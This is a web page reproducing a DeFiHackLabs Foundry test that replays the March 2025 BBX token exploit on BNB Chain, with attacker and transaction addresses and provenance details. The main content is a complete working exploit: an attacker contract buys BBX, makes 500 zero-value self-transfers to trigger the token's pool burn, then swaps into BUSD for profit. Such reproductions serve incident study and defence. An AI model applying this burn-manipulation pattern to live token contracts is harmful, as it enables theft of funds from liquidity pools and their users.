Public reproduction file
src/test/2025-03/BBXToken_exp.sol
Public reproduction file for dataset entry BBXToken.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "forge-std/Test.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 11902 BUSD8// Attacker : https://bscscan.com/address/0x8aea7516b3b6aabf474f8872c5e71c1a7907e69e9// Attack Contract : https://bscscan.com/address/0x0489E8433e4E74fB1ba938dF712c954DDEA9389810// Vulnerable Contract : https://bscscan.com/address/0x6051428b580f561b627247119eed4d0483b8d28e11// Attack Tx : https://bscscan.com/tx/0x0dd486368444598610239b934dd9e8c6474a06d11380d1cfec4d91568b5ac58112// Attack Tx (Create Contract): https://bscscan.com/tx/0xf7019e1232704c3ede4ecf00b79ccf647b2cb3718b9f6972e70dc7c5170e3f9114// @Info15// Vulnerable Contract Code : https://bscscan.com/address/0x6051428b580f561b627247119eed4d0483b8d28e#code17// @Analysis18// Post-mortem : https://blog.solidityscan.com/bbx-token-hack-analysis-f2e962c00ee519// Twitter Guy : https://x.com/TenArmorAlert/status/191631248379240868821address constant BBX = 0x67Ca347e7B9387af4E81c36cCA4eAF080dcB33E9;22address constant BUSD = 0x55d398326f99059fF775485246999027B3197955;23address constant wBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;25address constant PancakeSwapV2_BUSD_BBX= 0x6051428B580f561B627247119EEd4D0483B8D28e;26address constant PancakeSwapRouterV2 = 0x10ED43C718714eb63d5aA57B78B54704E256024E;28contract BBXToken_exp is Test {30 address attacker = makeAddr("attacker");32 function setUp() public {33 // 47626727 -> Attack block34 // 47626457 -> Create contract block36 vm.createSelectFork("bsc", 47626457 - 1); // Create contract block38 vm.label(attacker, "BBX Exploiter");39 vm.label(BBX, "BBX");40 vm.label(BUSD, "BUSD-T Stablecoin");41 vm.label(wBNB, "WBNB");42 vm.label(PancakeSwapV2_BUSD_BBX, "PancakeSwap V2: BSC-USD-BBX LP");43 vm.label(PancakeSwapRouterV2, "PancakeSwap: Router v2");45 vm.deal(attacker, 1 ether);46 }48 function testExploit() public {50 // Deploy the attack contract51 vm.prank(attacker);52 AttackerC attC = new AttackerC{value: 0.05 ether}();54 vm.roll(47626727 - 1); // Attack tx block55 vm.warp(block.timestamp + 15 * 60); // Warp time56 vm.startPrank(attacker);58 attC.attack();59 emit log_named_decimal_uint("Profit in BUSD", IERC20(BUSD).balanceOf(attacker), 18);61 vm.stopPrank();62 }63}65contract AttackerC {67 constructor() payable {68 // console.log(IPancakeRouter(payable(PancakeSwapRouterV2)).WETH()); // WBNB70 // Prepare BBX token71 uint256 balance = address(this).balance;72 address[] memory path = new address[](3);73 path[0] = wBNB;74 path[1] = BUSD;75 path[2] = BBX;76 IPancakeRouter(payable(PancakeSwapRouterV2)).swapExactETHForTokensSupportingFeeOnTransferTokens{value: balance}(77 balance,78 path,79 address(this),80 block.timestamp + 1081 );83 // console.log("Balance of BBX: ", IERC20(BBX).balanceOf(address(this)));84 }86 function attack() public {88 // console.log(IBBXToken(BBX).lastBurnTime()); // 174237545389 // console.log(IBBXToken(BBX).lastBurnGapTime()); // 8640090 // console.log(IBBXToken(BBX).liquidityPool()); // 0x6051428b580f561b627247119eed4d0483b8d28e91 // console.log(IBBXToken(BBX).burnRate()); // 30093 for (uint256 i = 0; i < 500; i++) {94 IERC20(BBX).transfer(address(this), 0);96 }97 // console.log(IERC20(BUSD).balanceOf(PancakeSwapV2_BUSD_BBX));98 // console.log(IERC20(BBX).balanceOf(PancakeSwapV2_BUSD_BBX));100 IERC20(BBX).approve(PancakeSwapRouterV2, type(uint256).max);102 uint256 balanceOfBBX = IERC20(BBX).balanceOf(address(this));103 // console.log("Balance of BBX: ", balanceOfBBX); // 18480773819186942481105 address[] memory path = new address[](2);106 path[0] = BBX;107 path[1] = BUSD;108 IPancakeRouter(payable(PancakeSwapRouterV2)).swapExactTokensForTokensSupportingFeeOnTransferTokens(109 balanceOfBBX,110 0,111 path,112 msg.sender,113 block.timestamp + 10114 );115 }117 receive() external payable {118 // Receive BNB for the attack119 }120}123interface IBBXToken {124 function lastBurnTime() external view returns (uint256);125 function lastBurnGapTime() external view returns (uint256);126 function liquidityPool() external view returns (address);127 function burnRate() external view returns (uint256);128}Analysis
Dataset entry
Public Foundry test for “BBXToken” (2025-03-20). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
17 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-03/Alkimiya_io_exp.solSame month in the dataset · 145 lines
- src/test/2025-03/DCFToken_exp.solSame month in the dataset · 184 lines
- src/test/2025-03/DUCKVADER_exp.solSame month in the dataset · 82 lines
- src/test/2025-03/H2O_exp.solSame month in the dataset · 163 lines
- src/test/2025-03/LeverageSIR_exp.solSame month in the dataset · 258 lines
- src/test/2025-03/PTM_exp.solSame month in the dataset · 103 lines
- src/test/2025-03/Pump_exp.solSame month in the dataset · 130 lines
- src/test/2025-03/RnsPay_exp.solSame month in the dataset · 157 lines
- src/test/2025-03/SBRToken_exp.solSame month in the dataset · 80 lines
- src/test/2025-03/StackMarket_exp.solSame month in the dataset · 136 lines
- src/test/2025-03/UNI_exp.solSame month in the dataset · 111 lines
- src/test/2025-03/unverified_3f27_exp.solSame month in the dataset · 112 lines
- src/test/2025-03/unverified_de7c_exp.solSame month in the dataset · 129 lines
- src/test/2025-03/wKeyDAO_exp.solSame month in the dataset · 160 lines
- src/test/2025-03/YziAIToken_exp.solSame month in the dataset · 69 lines
- src/test/2025-03/ZeroExSettler_exp.solSame month in the dataset · 110 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x8aea7516b3b6aabf474f8872c5e71c1a7907e69e
- Attack Contract
0x0489e8433e4e74fb1ba938df712c954ddea93898
- Vulnerable Contract
0x6051428b580f561b627247119eed4d0483b8d28e
- Attack Tx
0x0dd486368444598610239b934dd9e8c6474a06d11380d1cfec4d91568b5ac581
- Attack Tx
0xf7019e1232704c3ede4ecf00b79ccf647b2cb3718b9f6972e70dc7c5170e3f91
- Post: https://blog.solidityscan.com/bbx-token-hack-analysis-f2e962c00ee5
- Twitter: https://x.com/TenArmorAlert/status/1916312483792408688
- Explorer: https://bscscan.com/address/0x8aea7516b3b6aabf474f8872c5e71c1a7907e69e
- Explorer: https://bscscan.com/address/0x0489E8433e4E74fB1ba938dF712c954DDEA93898
- Explorer: https://bscscan.com/address/0x6051428b580f561b627247119eed4d0483b8d28e
- Explorer: https://bscscan.com/address/0x6051428b580f561b627247119eed4d0483b8d28e#code
File record
- Name
- BBXToken
- Path
- src/test/2025-03/BBXToken_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 998128f07c8e090042a836d2f9b2a5afbe9e7908
- Language
- Solidity
- Size
- 128 lines
- Date
- 2025-03-20
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-03/BBXToken_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 998128f07c8e090042a836d2f9b2a5afbe9e7908, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.